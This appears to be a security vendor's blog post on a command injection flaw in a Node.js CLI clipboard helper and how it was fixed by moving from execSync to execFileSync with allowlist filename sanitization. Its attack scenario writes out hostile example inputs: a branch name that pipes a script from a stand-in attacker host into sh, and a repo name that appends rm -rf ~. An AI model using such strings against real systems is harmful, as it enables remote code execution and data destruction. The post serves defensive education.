Back to Blog
critical SEVERITY6 min read

How command injection via execSync() happens in Node.js CLI tools and how to fix it

A critical command injection vulnerability was discovered in `packages/core/bin/cli.js` where the `copyToClipboard` function used `execSync()` with shell command strings. Combined with insufficient filename sanitization in the cache functions, an attacker could inject arbitrary shell commands through malicious repository data containing shell metacharacters. The fix replaces `execSync()` with `execFileSync()` and tightens input sanitization on cache file paths.

O
By Orbis AppSec
Published July 28, 2026Reviewed July 28, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Node.js CLI tool where `execSync()` invokes shell commands like `xclip -selection clipboard` as a string, allowing shell metacharacter injection. The fix replaces `execSync()` with `execFileSync()`, which bypasses the shell entirely by passing the command and arguments as separate array elements, and also sanitizes cache filenames with a strict allowlist regex `[^a-zA-Z0-9._-]`.

Vulnerability at a Glance

cweCWE-78
fixReplace execSync() with execFileSync() and sanitize cache file path components with allowlist regex
riskArbitrary command execution on developer machines using this CLI tool
languageJavaScript (Node.js)
root causeUsing execSync() with shell string interpolation instead of execFileSync() with argument arrays
vulnerabilityOS Command Injection via execSync()

How Command Injection via execSync() Happens in Node.js CLI Tools and How to Fix It

Introduction

The packages/core/bin/cli.js file implements a CLI tool that generates ASCII tree representations of GitHub repositories and copies them to the system clipboard. A critical flaw in the copyToClipboard function at line 162 created a command injection vector: it used Node.js's execSync() to invoke clipboard utilities (pbcopy, clip, xclip) through a shell. Combined with lax filename sanitization in the getCache and saveCache functions, an attacker who could influence repository data—such as crafting malicious file or folder names with shell metacharacters—could execute arbitrary commands on any developer's machine running this tool.

This vulnerability is particularly dangerous because the package is a Node.js library consumed by downstream developers. Every user who runs this CLI and copies output to their clipboard is exposed.

The Vulnerability Explained

Let's look at the vulnerable code:

function copyToClipboard(text) {
    // Zero-dependency clipboard logic
    if (process.platform === 'darwin') {
        execSync('pbcopy', { input: text });
    } else if (process.platform === 'win32') {
        execSync('clip', { input: text });
    } else {
        execSync('xclip -selection clipboard', { input: text });
    }
}

The core issue is that execSync() spawns a shell (/bin/sh -c "..." on Unix, cmd.exe /c "..." on Windows) to interpret the command string. While the text content is passed via the input option (stdin), the command string 'xclip -selection clipboard' is parsed by the shell.

Now consider the cache functions:

function getCache(repo, branch) {
    const file = path.join(cacheDir, `${repo.replace(/\//g, '_')}_${branch}.json`);
    // ...
}

The original sanitization only replaced forward slashes (/) with underscores. A malicious repository name like user/repo; rm -rf ~ or a branch name containing backticks would pass through with shell metacharacters intact. If these values ever flow into a shell context or influence the ASCII tree output that gets copied, command injection becomes possible.

Attack Scenario

  1. An attacker creates a GitHub repository with a branch named `curl attacker.com/shell.sh|sh`
  2. A developer uses this CLI tool to generate a tree of that repository
  3. The ASCII tree output includes the malicious branch name
  4. When copyToClipboard is called, if any part of the pipeline involves shell interpretation of that data, the injected command executes
  5. The attacker's payload runs with the developer's full user privileges

Even in the simpler case, the xclip -selection clipboard string being passed through a shell is unnecessary attack surface. If the PATH environment variable is manipulated or if there's any way to influence which binary xclip resolves to in a shell context, exploitation becomes trivial.

The Fix

The fix addresses both the shell injection vector and the path traversal/injection risk in cache filenames:

Change 1: Replace execSync with execFileSync

Before:

import { execSync } from 'child_process';

// ...

function copyToClipboard(text) {
    if (process.platform === 'darwin') {
        execSync('pbcopy', { input: text });
    } else if (process.platform === 'win32') {
        execSync('clip', { input: text });
    } else {
        execSync('xclip -selection clipboard', { input: text });
    }
}

After:

import { execFileSync } from 'child_process';

// ...

function copyToClipboard(text) {
    // Zero-dependency clipboard logic (use execFileSync to avoid shell injection)
    if (process.platform === 'darwin') {
        execFileSync('pbcopy', [], { input: text });
    } else if (process.platform === 'win32') {
        execFileSync('clip', [], { input: text });
    } else {
        execFileSync('xclip', ['-selection', 'clipboard'], { input: text });
    }
}

execFileSync does not spawn a shell. It executes the binary directly, passing arguments as an array. The -selection and clipboard arguments are passed as separate array elements, so shell metacharacters in any surrounding context are never interpreted. There's no shell to exploit.

Change 2: Strict allowlist sanitization for cache filenames

Before:

const file = path.join(cacheDir, `${repo.replace(/\//g, '_')}_${branch}.json`);

After:

const file = path.join(cacheDir, `${repo.replace(/[^a-zA-Z0-9._-]/g, '_')}_${branch.replace(/[^a-zA-Z0-9._-]/g, '_')}.json`);

Instead of only replacing /, the fix uses an allowlist regex that strips everything except alphanumeric characters, dots, hyphens, and underscores. This eliminates shell metacharacters (;, `, $, |, (, ), etc.) from ever reaching the filesystem or downstream processing. The same sanitization is applied to both repo and branch parameters.

Prevention & Best Practices

  1. Never use execSync() or exec() in Node.js when you can use execFileSync() or spawn(). The shell-free alternatives eliminate an entire class of injection attacks.

  2. Use allowlist validation for user-influenced strings. The pattern /[^a-zA-Z0-9._-]/g is a safe default for filenames—strip anything that isn't known-safe rather than trying to blocklist dangerous characters.

  3. Apply defense in depth. Even though input passes data via stdin (not the command string), removing the shell eliminates the attack surface entirely. Don't rely on a single layer.

  4. Audit all child_process usage. Run a simple grep: grep -rn "execSync\|exec(" --include="*.js" to find all shell-spawning calls in your codebase.

  5. Use ESLint security plugins. The eslint-plugin-security package flags child_process calls that use shell strings.

  6. Consider the supply chain. This is a library—every downstream consumer inherits its vulnerabilities. Library authors bear extra responsibility for secure defaults.

Key Takeaways

  • execSync('xclip -selection clipboard') spawns a shell that can interpret metacharacters—even when data is passed via input, the shell invocation itself is unnecessary attack surface that execFileSync('xclip', ['-selection', 'clipboard']) eliminates entirely.
  • Replacing only / in repository names (repo.replace(/\//g, '_')) leaves shell metacharacters like ;, `, $, and | intact—an allowlist regex is the only safe approach for constructing filesystem paths from external data.
  • Node.js CLI tools that process GitHub repository metadata must treat repo names and branch names as untrusted input—attackers can craft these to contain arbitrary characters.
  • The child_process module's API design makes insecure usage the path of least resistanceexecSync is simpler to write than execFileSync with argument arrays, so teams should lint for it proactively.
  • Both the clipboard function AND the cache functions needed fixing—command injection often requires closing multiple gaps, not just patching the obvious sink.

How Orbis AppSec Detected This

  • Source: Repository and branch name data from GitHub API responses, flowing through getCache(), saveCache(), and ultimately into the ASCII tree output passed to copyToClipboard()
  • Sink: execSync('xclip -selection clipboard', { input: text }) in packages/core/bin/cli.js:168
  • Missing control: No shell avoidance (execFileSync) and no allowlist sanitization on repository/branch names used in cache paths and clipboard content
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced execSync() with execFileSync() to bypass the shell entirely, and applied strict allowlist regex sanitization to cache filename components

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability demonstrates how a seemingly simple clipboard utility function can become a critical attack vector. The combination of execSync() with shell strings and insufficient input sanitization created a path from attacker-controlled GitHub repository metadata to arbitrary command execution on developer machines. The fix is straightforward—use execFileSync() with argument arrays and validate inputs with allowlist regexes—but the lesson is broader: every child_process call in a Node.js application should be treated as a potential injection point and audited accordingly.

If you maintain a Node.js CLI tool or library, audit your child_process usage today. Replace execSync and exec with their shell-free counterparts wherever possible. Your users' machines depend on it.

References

Frequently Asked Questions

What is command injection via execSync()?

Command injection via execSync() occurs when a Node.js application passes a command string to execSync(), which spawns a shell (e.g., /bin/sh) that interprets metacharacters like semicolons, backticks, and pipes—allowing attackers to append or inject arbitrary commands.

How do you prevent command injection in Node.js?

Use execFileSync() or spawn() instead of execSync(). These functions accept the command and arguments as separate parameters, bypassing the shell entirely so metacharacters are treated as literal text rather than shell syntax.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). It covers cases where user-controllable data is incorporated into OS commands without proper sanitization.

Is passing input via stdin enough to prevent command injection?

No. While passing data via stdin (the `input` option) avoids injecting into the command string itself, if the command string contains other attacker-controlled content or if the shell is invoked unnecessarily, injection vectors may still exist through the command name or arguments.

Can static analysis detect command injection via execSync()?

Yes. Static analysis tools like Semgrep, ESLint security plugins, and CodeQL have rules that flag execSync() usage with string arguments and can trace tainted data flows to identify exploitable patterns.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #24

Related Articles

critical

How Command Injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in the `open_directory` method of `src/jm_view_server/app.py`, where user-controlled path input was passed directly into a shell command via `subprocess.Popen`. By switching from string-based shell execution to a list-based argument format, the fix eliminates the ability for attackers to inject malicious shell commands through crafted directory paths.

critical

How Arbitrary Code Execution via Command Injection Happens in Node.js shell-quote and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the popular Node.js `shell-quote` package (versions prior to 1.8.4) where unescaped line terminators allowed attackers to inject and execute arbitrary shell commands. The fix upgrades `shell-quote` from version 1.8.1 to 1.8.4, which properly escapes line terminator characters (such as `\n`, `\r`, `\u2028`, and `\u2029`) before passing strings to the shell. This dependency was present in the project's `package-lock.json`

critical

How Command Injection happens in Python Flask and how to fix it

A critical command injection vulnerability was discovered in a Flask application's `/abc2xml` endpoint where user-supplied ABC music notation data could be weaponized to execute arbitrary shell commands. The `run_command` function used `subprocess.run()` with `shell=True` and string concatenation, allowing attackers to inject shell metacharacters. The fix switches to a list-based command invocation with `shell=False`, eliminating the injection vector entirely.

critical

How shell metacharacter injection happens in Node.js SSH provisioning and how to fix it

A critical command injection vulnerability was discovered in `services/onuProvisionService.js`, where the `sanitizeCliInput` function only stripped newlines and carriage returns from user input before passing it to SSH shell streams. Attackers could inject shell metacharacters like semicolons, pipes, and backticks to execute arbitrary commands on network infrastructure devices such as ONU/ONT hardware. The fix expands the sanitization regex to strip all dangerous shell metacharacters, closing th

critical

How command injection happens in Java Runtime.exec() and how to fix it

A critical command injection vulnerability was discovered in `ProcessUtils.java` where process IDs were concatenated directly into shell command strings passed to `Runtime.getRuntime().exec(String)`. This allowed shell metacharacter injection that could execute arbitrary commands. The fix switches to the array-based `exec(String[])` overload, which bypasses shell interpretation entirely.

critical

How command injection via shell metacharacter escaping happens in Node.js and how to fix it

A critical command injection vulnerability was discovered in the GameBanana provider module where the `quoteCommandArgument()` function only escaped double quotes, leaving shell metacharacters like `$()`, backticks, and other dangerous patterns exploitable. Attackers could craft malicious mod URLs on GameBanana containing shell commands that would execute when users viewed the content. The fix switches from double-quote to single-quote escaping, which prevents shell interpretation of metacharact